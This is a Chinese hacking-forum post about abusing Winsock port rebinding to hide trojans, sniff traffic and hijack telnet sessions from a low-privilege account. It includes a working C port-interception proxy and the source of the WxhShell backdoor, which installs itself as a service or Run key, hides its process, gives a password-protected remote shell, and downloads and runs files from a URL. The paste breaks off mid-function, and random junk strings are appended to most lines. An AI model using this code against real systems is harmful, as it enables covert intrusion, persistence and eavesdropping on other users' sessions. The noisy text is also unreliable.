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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: w$t2Hd  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); .t}nznh  
$23R%8j   
  saddr.sin_family = AF_INET; Y< M}'t  
}M9'N%PU  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); =+"XV8Fi,  
](0A/,#q6  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); "/\:Fdc^  
g6*}& .&  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 5 WAsEP  
Dic(G[  
  这意味着什么?意味着可以进行如下的攻击: E]7G4  
xr?r3Y~^e  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 R'80{  
bRIb'%=+GA  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) W>, b1_k c  
&!_Ko`b8K  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ho:,~ A;k  
0 Q1}u@G  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  #p[=iP  
{wMCo ,  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 \KPz  
 T  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 , n EeI&  
\[8I5w-  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 %8$wod6  
?c43cYb  
  #include >4ALF[oH1J  
  #include ]9x30UXLwD  
  #include aH >.o 1;  
  #include    $4eogI7N>w  
  DWORD WINAPI ClientThread(LPVOID lpParam);   mqE&phF,  
  int main() ,qr)}s-  
  { iE&`F hf?  
  WORD wVersionRequested; M1oCa,8M+  
  DWORD ret; D #A9  
  WSADATA wsaData; T8RQM1D_s  
  BOOL val; 8m6L\Z&  
  SOCKADDR_IN saddr; }SOj3.9{c  
  SOCKADDR_IN scaddr; CBF>157B  
  int err; >o[T#U  
  SOCKET s; #ob">R  
  SOCKET sc; hxtu^E/  
  int caddsize; U 26Iz  
  HANDLE mt; (*M(gM{;  
  DWORD tid;   8,H  
  wVersionRequested = MAKEWORD( 2, 2 ); 3*'!,gK~[  
  err = WSAStartup( wVersionRequested, &wsaData ); HWHGxg['r  
  if ( err != 0 ) { }LE/{]A  
  printf("error!WSAStartup failed!\n"); 'Y-c*q  
  return -1; )qxL@w.  
  } M2m@N-+R   
  saddr.sin_family = AF_INET; ",K6zALJ  
   WIb U^WJ0  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 7sFjO/a*  
)X7ZX#ttH  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); mM95BUB  
  saddr.sin_port = htons(23); '7xY ,IY  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) .vb*|So  
  { Q"(i  
  printf("error!socket failed!\n"); pQqZ4L6v  
  return -1; '8W }|aF  
  } _-h3>.;h9  
  val = TRUE; ;=E3f^'s  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 .+8w\>w6g  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) E.BMm/WH  
  { 'DKP-R"  
  printf("error!setsockopt failed!\n"); {j(,Q qB;f  
  return -1; 6ZF5f^M^  
  } gfp#G,/B  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; p2cKtk+  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 i,V~5dE[I<  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 dpE+[O_  
sF}E =lY  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 3<'n>'  
  { ;,F}!R  
  ret=GetLastError(); 3c ^_IuW-  
  printf("error!bind failed!\n"); bS0LjvY9g  
  return -1; Nlo*vu  
  } \K>6-0r|  
  listen(s,2); } $OQw'L[  
  while(1) z |t0mS$  
  { T}zOM%]]  
  caddsize = sizeof(scaddr); ++FMkeHZ  
  //接受连接请求 gE%-Pf~  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); =*I>MgCJ  
  if(sc!=INVALID_SOCKET) 8S)k]$wf%  
  { [jY_e`S  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); uODpIxN  
  if(mt==NULL) J \G8 g,@  
  { Ypp>7J/  
  printf("Thread Creat Failed!\n"); v/(< fI^  
  break; Dn9Ta}miTO  
  } T3Tk:r  
  } Q"\*JV5  
  CloseHandle(mt); Iunt!L  
  } gB&'MA!  
  closesocket(s); ?6a:!^eL  
  WSACleanup(); 6@ nEcr  
  return 0; F+}MW/ra@  
  }   x0 3|L!n  
  DWORD WINAPI ClientThread(LPVOID lpParam) =>ignoeI  
  { NB LOcRSh  
  SOCKET ss = (SOCKET)lpParam; (h2bxfV~+  
  SOCKET sc; I*'QD)  
  unsigned char buf[4096]; kELV]iWb  
  SOCKADDR_IN saddr; xeZ,}YP)  
  long num; A]W`r}  
  DWORD val; zg"<N  
  DWORD ret; 2pZ|+!xc+  
  //如果是隐藏端口应用的话,可以在此处加一些判断 6\ (\  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ]"F0"UH,  
  saddr.sin_family = AF_INET; v k<By R  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ;ML21OjgN  
  saddr.sin_port = htons(23); O.!|;)HQ  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 2#p6.4h=  
  { rq+E"Uj?  
  printf("error!socket failed!\n"); RW%e%  
  return -1; tEZ@v(D  
  } |r6<DEg  
  val = 100; X}_kLfP/9  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) &;*jMu6  
  { eB5; wH  
  ret = GetLastError(); k;q|pQ[  
  return -1; Xul<,U~w6  
  } zQ5'q  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) U Tw\_s  
  { \z0"  
  ret = GetLastError(); ~-|K5  
  return -1; BgUf:PT  
  } )ASI 41  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Gi?"  
  { t13wQ t  
  printf("error!socket connect failed!\n"); ax,%07hJ  
  closesocket(sc); U^:+J-z{  
  closesocket(ss); CH!Lf,G  
  return -1; YY'46  
  } b,~6cDU  
  while(1) = gOq >`  
  { c]#F^(-A`  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ub7|'+5  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 T =_Hd  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 yB,$4:C  
  num = recv(ss,buf,4096,0); &*A7{76x  
  if(num>0) [gx6e 44  
  send(sc,buf,num,0); D O#4E<]5  
  else if(num==0) I6X_DPY  
  break; %^kBcId  
  num = recv(sc,buf,4096,0); -n+ =[M  
  if(num>0) c|IH|y  
  send(ss,buf,num,0); Z!v)zH\  
  else if(num==0) gT?:zd=;  
  break; Xw_AZ-|1D  
  } k0Rd:DxO  
  closesocket(ss); E&#cU}ErN  
  closesocket(sc); yC(xi"!  
  return 0 ; Y{6y.F*Q#  
  } M9M~[[   
R:fERj<s  
MB%yC]w8  
========================================================== j/ow8Jmc*  
,_F@9Up  
下边附上一个代码,,WXhSHELL qwoF4_VN  
#2^eGhwnI  
========================================================== 2mRm.e9?  
bM+}j+0  
#include "stdafx.h" <My4 )3  
1-.6psE  
#include <stdio.h> au1uFu-  
#include <string.h> *@^9 ]$*$  
#include <windows.h> L9W'TvTwo  
#include <winsock2.h> 4|ML#aRz  
#include <winsvc.h> _H} 8eU  
#include <urlmon.h> P uYAoKG  
e5W 8YNA  
#pragma comment (lib, "Ws2_32.lib") W+k SL{0  
#pragma comment (lib, "urlmon.lib") 6F !B;D-Q  
: M=0o<  
#define MAX_USER   100 // 最大客户端连接数 U["'>&B  
#define BUF_SOCK   200 // sock buffer #{-B`FAQ  
#define KEY_BUFF   255 // 输入 buffer J!YB_6b  
5%Hw,h   
#define REBOOT     0   // 重启 mu@He&w"  
#define SHUTDOWN   1   // 关机 suiO%H^t  
.!/w[Z]  
#define DEF_PORT   5000 // 监听端口 CC"}aV5  
9kZ[Z ,=>  
#define REG_LEN     16   // 注册表键长度 ?d&l_Pa0e  
#define SVC_LEN     80   // NT服务名长度 <$metN~9j  
% 8u97f W  
// 从dll定义API Ymt.>8L  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); lC|`DG-B  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ObnQ,x(  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); P'l'[Kz{'  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); (JenTL`%u  
rvfS[@>v  
// wxhshell配置信息 UNY O P{  
struct WSCFG { L6<.>\^Z"  
  int ws_port;         // 监听端口 40h  
  char ws_passstr[REG_LEN]; // 口令 Fab gJu  
  int ws_autoins;       // 安装标记, 1=yes 0=no  -]n\|U<  
  char ws_regname[REG_LEN]; // 注册表键名 t}6QU  
  char ws_svcname[REG_LEN]; // 服务名 ^__';! e  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 .6C9N{?Tqf  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 %'+}-w  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 pUF$Nq>og  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 2 zE gAc  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe"  %JoHc?  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 .=G ?Zd  
"}*5'e.*  
}; u]0{#wu;g  
F)K&a  
// default Wxhshell configuration ` ES-LLhVf  
struct WSCFG wscfg={DEF_PORT, ~xPU#m<  
    "xuhuanlingzhe", H. o=4[  
    1, BLaF++Fop  
    "Wxhshell", uE E;~`G  
    "Wxhshell", ERTjY%A  
            "WxhShell Service", }B1f_T  
    "Wrsky Windows CmdShell Service", yrvV<}  
    "Please Input Your Password: ", AcHr X=O  
  1, aoqG*qh}b  
  "http://www.wrsky.com/wxhshell.exe", =Vie0TV&h  
  "Wxhshell.exe" \0 j-p   
    }; T:/mk`>  
H^sImIEUT  
// 消息定义模块  /dI8o  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; pgUp1goAU  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 8f`r!/j  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; wHuz~y6  
char *msg_ws_ext="\n\rExit."; \gCh'3  
char *msg_ws_end="\n\rQuit."; {HO,d{{  
char *msg_ws_boot="\n\rReboot..."; W79Sz}):  
char *msg_ws_poff="\n\rShutdown..."; FHbyL\Q  
char *msg_ws_down="\n\rSave to "; t4d^DZDh!  
OV2/?  
char *msg_ws_err="\n\rErr!"; +,xluwv$9  
char *msg_ws_ok="\n\rOK!"; xyzYY}PS  
2p %j@O  
char ExeFile[MAX_PATH]; \JLea$TM:  
int nUser = 0; )gVz?-u+D  
HANDLE handles[MAX_USER]; GAP,$xAaW  
int OsIsNt; D/)E[Fv+  
E[NszM[P  
SERVICE_STATUS       serviceStatus; nixIKOnjC  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; >q&X#E<w  
D]=V6l=  
// 函数声明 awB+B8^s  
int Install(void); U%rEW[j  
int Uninstall(void); .+) AeGh  
int DownloadFile(char *sURL, SOCKET wsh); 7TW&=(  
int Boot(int flag); e+~@"^|  
void HideProc(void); =|LB,REN  
int GetOsVer(void); imc1rY!~'  
int Wxhshell(SOCKET wsl); :8t;_f  
void TalkWithClient(void *cs); )ko[_OJj  
int CmdShell(SOCKET sock); W:VX^8</  
int StartFromService(void); ;:  xE'-  
int StartWxhshell(LPSTR lpCmdLine); kxCN0e#_  
()^tw5e'^  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); +aQM %~  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); oL U!x  
{%Rntb  
// 数据结构和表定义 sa?s[  
SERVICE_TABLE_ENTRY DispatchTable[] = .^xQtnq  
{ Z~AgZM R  
{wscfg.ws_svcname, NTServiceMain}, laRn![[  
{NULL, NULL} @6kkt~>:  
}; 6o.Dgt/f  
ntxaFVD  
// 自我安装 Nt,:`o |  
int Install(void) IOddu2.(  
{ uCHM  
  char svExeFile[MAX_PATH]; :sX4hZK =G  
  HKEY key; 9 lXnNK |]  
  strcpy(svExeFile,ExeFile); oD3]2o/  
9\Md.>  
// 如果是win9x系统,修改注册表设为自启动 Q_6v3no1  
if(!OsIsNt) { BU<Qp$ &  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { $9@3dM*E?Z  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); o&$Of  
  RegCloseKey(key); 6 \?GY  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { V'FKgzd  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); #Xk/<It  
  RegCloseKey(key); 8I~*9MUp  
  return 0; OIs!,G|  
    } {)I&&fSz  
  }  eIj2(q9  
} l0PXU)>C  
else { /Yj; '\3  
h AJ^(|  
// 如果是NT以上系统,安装为系统服务 d@? zCFD  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 4N)45@jk[  
if (schSCManager!=0) F?Fxm*Wa/  
{ UNA!vzOb  
  SC_HANDLE schService = CreateService 06 an(& a9  
  ( z s\N)LyM  
  schSCManager, p^C$(}Yh  
  wscfg.ws_svcname, 7O~hA*Z  
  wscfg.ws_svcdisp, .[ s6x5M  
  SERVICE_ALL_ACCESS, HggINMG  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , \0;EHB  
  SERVICE_AUTO_START, S;SI#Vg@  
  SERVICE_ERROR_NORMAL, !KtP> `8  
  svExeFile, a+B3`6  
  NULL, xB_7 8X1  
  NULL, S]ed96V v  
  NULL, l'1_Fb  
  NULL, *-3*51 jW  
  NULL G[+{[W  
  ); WeIi{<u8R  
  if (schService!=0) n){u!z)Al  
  {  GG(}#Z5h  
  CloseServiceHandle(schService); b?-KC\}v  
  CloseServiceHandle(schSCManager); m0*_  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 3 jghV?I{T  
  strcat(svExeFile,wscfg.ws_svcname); &<Fw  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Ny$N5/b!!  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); _4LDzVjNRe  
  RegCloseKey(key); ?]\v%[ho  
  return 0; ybcCq]cgt  
    } , _bG'Hmt  
  } >&JS-j Fg  
  CloseServiceHandle(schSCManager); #<5i/5&  
} i'`>YX  
} r@CbhD  
' Uo|@tK  
return 1; {3BWT  
} 6n^vG/.M  
^@$T>SB1  
// 自我卸载 |H%,>r`9S  
int Uninstall(void) gb26Y!7%  
{ '/fueku  
  HKEY key; fS4 Ru  
d&X <&)a7  
if(!OsIsNt) { A<-3u  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { A/OGF>  
  RegDeleteValue(key,wscfg.ws_regname); yG<Q t+D  
  RegCloseKey(key); ^= '+#|:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $*7AG  
  RegDeleteValue(key,wscfg.ws_regname); 7G%^8 ce{!  
  RegCloseKey(key); v"sN K  
  return 0; Ku8qn \2"  
  } }q)dXFL=I#  
} DuRC1@e  
} {;={ abj  
else { 9-.`~v  
5r^u7k  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 2SYV2  
if (schSCManager!=0) Cp]q>lM"  
{ G C@U['  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); (X|lK.W y  
  if (schService!=0) npcL<$<6X  
  { `o%Ua0x2  
  if(DeleteService(schService)!=0) { Px`z$~*B:  
  CloseServiceHandle(schService); > M4QEv  
  CloseServiceHandle(schSCManager); e9eBD   
  return 0; ;h4w<OqcM  
  } |E FbT>  
  CloseServiceHandle(schService); @|}=W Q  
  } `7_s@4:  
  CloseServiceHandle(schSCManager); `%.x0~ ih  
} k&o1z'<C  
} gP=@u.  
&z"yls  
return 1; o vX9  
} ETaLE[T%1  
^S^7 u  
// 从指定url下载文件 ?Q: KW  
int DownloadFile(char *sURL, SOCKET wsh) :2MHx}]il  
{ 5dhT?/qvc  
  HRESULT hr; y73@t$|  
char seps[]= "/"; ]ChN]>o  
char *token; !}Ty"p`  
char *file; w]Ci%W(  
char myURL[MAX_PATH]; 6zJ>n~&(  
char myFILE[MAX_PATH]; `f%sq*O~  
,8@U-7f,  
strcpy(myURL,sURL); } "AGX  
  token=strtok(myURL,seps); E" b" VB  
  while(token!=NULL) vU, ]UJ}  
  { B1 [O9U:  
    file=token; G `JXi/#`  
  token=strtok(NULL,seps); 2_;3B4GDF  
  } .8Gmy07  
/qO?)p3gk  
GetCurrentDirectory(MAX_PATH,myFILE); M-NY&@Nj  
strcat(myFILE, "\\"); Z#062NL "  
strcat(myFILE, file); fQ~YBFhlr  
  send(wsh,myFILE,strlen(myFILE),0); lof}isOz  
send(wsh,"...",3,0); &^JY  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Z sbE  
  if(hr==S_OK) ]}jY] l  
return 0; fAV=O%^  
else 3gY4h*|`<  
return 1; RLX?3u&  
uM9RlI5  
} u6BLhyS  
wQ/FJoB  
// 系统电源模块 X&({`Uw<K  
int Boot(int flag) 06vxsT@  
{ }5sJd>u5^  
  HANDLE hToken; UP |#WegO  
  TOKEN_PRIVILEGES tkp; yX;v   
s~Od(,K  
  if(OsIsNt) { zmh3 Qa(  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); U)gr C8 C  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); N;d@)h(N!  
    tkp.PrivilegeCount = 1; i3 n0W1~  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 2j7e@pr  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); _J`q\N K  
if(flag==REBOOT) { qlfYX8edZ  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) olO&7jh7|  
  return 0; 0YVkq?1x9  
} xt"GO  b  
else { 3re|=_ Hy  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Z CS{D  
  return 0; '1yy&QUZq  
} j{u! /FD  
  } 1?bX$$y l;  
  else {  *$o{+YP  
if(flag==REBOOT) { xYCX}bksh  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) N HL{.8L{  
  return 0; ['rqz1DL5  
} b ZEyP W  
else { !{L`Zd;C>w  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) +yd(t}H@  
  return 0; BKQI|i  
} -wjvD8fL  
} UP}5Eh  
yp:_W@  
return 1; ONw;NaE,  
} jPf*qe>U  
^UAL5}CQt  
// win9x进程隐藏模块 RxVf:h'l  
void HideProc(void) vS|uN(a.P  
{ `* =Tf  
kM T73OI>_  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 2v6QUf  
  if ( hKernel != NULL ) ^#VyIF3q  
  { gr")Jw7  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); r*!sA5  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); T7{Z0-  
    FreeLibrary(hKernel); -6KGQc}U  
  } ki^c)Tqn  
ymLhSF][  
return; uT??t=vb  
} S@a#,,\[  
5B'};AQ  
// 获取操作系统版本 //}[(9b'\  
int GetOsVer(void) /U#{6zeM[,  
{ JS<4%@  
  OSVERSIONINFO winfo; d= -/'_'  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); $6X CHVx  
  GetVersionEx(&winfo); RrDNEwAr  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) OyG$ ]C  
  return 1; P]@m0f  
  else [fU2$(mT+  
  return 0; )MKzAAt~  
} ;hOrLy&O  
&T8prE?  
// 客户端句柄模块 {{?[b^  
int Wxhshell(SOCKET wsl) @,63%  
{ <|s9@;(I  
  SOCKET wsh; nKJJ7 R L  
  struct sockaddr_in client; "s]c79t  
  DWORD myID; bX:ARe O  
^< ,Np+  
  while(nUser<MAX_USER) Jk)^6  
{ 0vs9# <&V  
  int nSize=sizeof(client); q=5#t~?  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); +FWkhmTv  
  if(wsh==INVALID_SOCKET) return 1; Gv!* Qk4  
~$N%UQn?b#  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ~5HI9A4^  
if(handles[nUser]==0) }7Si2S  
  closesocket(wsh); uOqWMRsoi  
else 1CiK&fQ'  
  nUser++; *FkG32k  
  } | 1Fy  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); m>gok0{pm  
c8sY#I  
  return 0; :o}J u}t  
} tVZj tGz=  
xFpMn}CD  
// 关闭 socket (L?fYSP!  
void CloseIt(SOCKET wsh) )jK"\'cK  
{ "$? f&*  
closesocket(wsh); ?#^_yd|<  
nUser--; Z4Nl{  6  
ExitThread(0); bGvALz'  
} V@Z8t8  
Z~t OR{q  
// 客户端请求句柄 zQ$*!1FmN  
void TalkWithClient(void *cs) [e )j,Q1  
{ 1.0S>+^JE  
A+T! DnVof  
  SOCKET wsh=(SOCKET)cs; )z9)oM\  
  char pwd[SVC_LEN]; j5ZeYcQ-  
  char cmd[KEY_BUFF]; t)LD-%F  
char chr[1];  b]s*z<|%  
int i,j; .N99=%[}h  
H'E >QT  
  while (nUser < MAX_USER) { AlNiqnZ  
}!\ZJoa  
if(wscfg.ws_passstr) { FrO)3 1z  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Vt:]D?\3  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); m<wng2`NTv  
  //ZeroMemory(pwd,KEY_BUFF); hbhh m  
      i=0; q"5iza__H  
  while(i<SVC_LEN) { |~bl%g8xP  
E ?(  
  // 设置超时 5Cd>p<  
  fd_set FdRead; KDW%*%!  
  struct timeval TimeOut; tm~V+t!mj  
  FD_ZERO(&FdRead); DD\:glo  
  FD_SET(wsh,&FdRead); I_J;/!l=  
  TimeOut.tv_sec=8; 0hXI1@8]`  
  TimeOut.tv_usec=0; mu2r#I  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); o Q= Q}  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);  KAmv7  
1e*+k$-{  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *M5 =PQfb  
  pwd=chr[0]; Y&aFAjj  
  if(chr[0]==0xd || chr[0]==0xa) { |b{XnD_g  
  pwd=0; Au$|@  
  break; Ql> DS~a  
  } bR@ e6.<i  
  i++; .Y!*6I  
    } ^WP`;e  
FFl[[(`%D  
  // 如果是非法用户,关闭 socket <J@Y=#G$2  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); W6D|Rr.q  
} ow*) 1eo  
ci>+Zi6  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); * c] :,5  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); D0tmNV@  
D[m;rcl  
while(1) { Ns2M8  
>&tPIrz  
  ZeroMemory(cmd,KEY_BUFF); &'4id[$9  
5Ya TE<G  
      // 自动支持客户端 telnet标准   OWFLw  
  j=0; pq7G[  
  while(j<KEY_BUFF) { q4<3 O"c1  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "W;Gv I  
  cmd[j]=chr[0]; C)`k{(-{  
  if(chr[0]==0xa || chr[0]==0xd) { n4+l, ~  
  cmd[j]=0; /c~z(wv  
  break; ;sCf2TD,_  
  } Y"~I(,nx!  
  j++; o ^L 3Xiv  
    } G=!1P]M{  
q' 77BRD3  
  // 下载文件 xz5Jli  
  if(strstr(cmd,"http://")) { :l8n)O3  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); R>U0W{1NO  
  if(DownloadFile(cmd,wsh)) HDZB)'I  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); V #W,}+_Sz  
  else Mib(J+Il  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +0\BI<aG  
  } cq+|fg~Yy  
  else { a}ogNx  
PXG)?`^NX  
    switch(cmd[0]) { }z1aKa9  
  3JM0 m (  
  // 帮助 PjNOeI@G  
  case '?': { "2q}G16K  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); t7tX<|aN  
    break; S/ )P&V%  
  } p/L|;c  
  // 安装 mH2XwA|  
  case 'i': { .6aC2A]es  
    if(Install()) ;`',M6g  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  P_6oMR  
    else OjTb2[Q  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); esU9  
    break; fTd=}zY  
    } ;"46H'>!  
  // 卸载  PNY"Lqj  
  case 'r': { @ -CZa^g  
    if(Uninstall()) o0nd]"q?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); W5 ^eCYHoi  
    else KGb:NQ=O6i  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5r)ndW,aN  
    break; v&Xsyb0CaM  
    } a!rU+hiC  
  // 显示 wxhshell 所在路径 3NU{7,F  
  case 'p': { B!{vSBq  
    char svExeFile[MAX_PATH]; QS(aA*D  
    strcpy(svExeFile,"\n\r"); VRden>vKN  
      strcat(svExeFile,ExeFile); d[K71  
        send(wsh,svExeFile,strlen(svExeFile),0); WOBLgM,|  
    break; e=uElp'%  
    } LB9D6,*t  
  // 重启 zv[$ N,  
  case 'b': { %-9?rOr  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Z*uv~0a>9Q  
    if(Boot(REBOOT)) aia`mO]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); T($d3Nn1  
    else { s'$5]9$S  
    closesocket(wsh); Hwb+@'o  
    ExitThread(0); U)CGRh8%+  
    } X=C*PWa7  
    break; !fX&i6  
    } bsCl w  
  // 关机 d `MTc  
  case 'd': { M~/Pk7CC  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 0FN;^hP5|  
    if(Boot(SHUTDOWN)) |)TI&T;k  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Fw{:fFZC[  
    else { )NF5,eD  
